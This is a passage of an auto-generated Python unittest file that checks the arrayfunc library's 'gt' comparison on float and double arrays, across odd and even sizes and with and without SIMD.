self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code f.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_withsimd_simd_f_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'f' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'f' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.f_min
maxval = arrayfunc.arraylimits.f_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'f' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('f', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('f', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('f', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('f', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('f', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code f.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code f.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code f.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code f.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code f.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code f.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code f.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code f.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code f.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_withsimd_simd_f_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'f' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'f' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.f_min
maxval = arrayfunc.arraylimits.f_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'f' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('f', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('f', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('f', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('f', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('f', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code f.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code f.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code f.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code f.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code f.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code f.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code f.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code f.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code f.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_nosimd_simd_d_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'd' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'd' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.d_min
maxval = arrayfunc.arraylimits.d_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'd' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('d', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('d', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('d', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('d', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('d', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code d.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code d.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code d.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code d.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code d.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code d.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code d.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code d.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code d.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_nosimd_simd_d_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'd' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'd' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.d_min
maxval = arrayfunc.arraylimits.d_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'd' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('d', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('d', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('d', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('d', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('d', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code d.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code d.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code d.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code d.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code d.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code d.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code d.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code d.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code d.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_withsimd_simd_d_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'd' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'd' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.d_min
maxval = arrayfunc.arraylimits.d_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'd' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('d', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('d', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('d', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('d', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('d', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code d.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code d.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code d.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code d.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code d.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
